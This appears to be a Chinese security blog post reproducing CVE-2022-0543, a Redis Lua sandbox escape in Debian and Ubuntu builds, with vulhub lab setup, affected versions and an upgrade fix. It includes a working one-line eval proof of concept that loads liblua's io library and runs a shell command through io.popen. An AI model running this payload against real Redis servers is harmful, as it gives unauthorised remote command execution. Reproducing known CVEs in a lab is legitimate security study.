CVE-2022-0543Redis Lua沙箱绕过RCE复现
免责声明
本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。
只供对已授权的目标使用测试,对未授权目标的测试作者不承担责任,均由使用本人自行承担。
文章正文
前言
Redis是著名的开源Key-Value数据库,其具备在沙箱中执行Lua脚本的能力。Debian以及Ubuntu发行版的源在打包Redis时,在Lua沙箱中遗留了一个对象package,攻击者可以利用这个对象提供的方法加载动态链接库liblua里的函数,进而逃逸沙箱执行任意命令。
环境搭建
1、更新vulhub
2、拉取漏洞环境
注意,若环境之前有redis服务,记得把之前的redis服务关闭再重新拉取即可。
关闭Redis
安全关闭
先ps -ef | grep redis查看redis运行状态,看到Redis服务在运行中;发现是启动状态,在启动redis-cli的时候关闭redis程序 ./redis-cli shutdown ,Redis服务已经退出;再次ps -ef | grep redis查看redis运行状态,Redis服务已经退出
暴力关闭
直接kill -9 PID即可
漏洞复现POC
1、使用redis-cli工具连接redis
2、利用POC验证
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("pwd", "r"); local res = f:read("*a"); f:close(); return res' 0
漏洞影响
安全版本
Redis 6.2.5、6.0.15、5.0.13或更高版本
影响版本
An unexpected Redis sandbox escape affecting only Debian, Ubuntu, and other derivatives
5.0.13 > redis >=2.2
6.0.15 > redis >=2.2
6.2.5 > redis >=2.2
修复建议
更新到无漏洞版本
参考
https://mp.weixin.qq.com/s/OajI--GbU97L8oL___QMFQ
https://github.com/redis/redis
技术交流
交流群
知识星球
团队建立了知识星球,不定时更新最新漏洞复现,手把手教你,同时不定时更新POC、内外网渗透测试骚操作。感兴趣的可以加一下。
往期文章:
点一下爱心再走吧!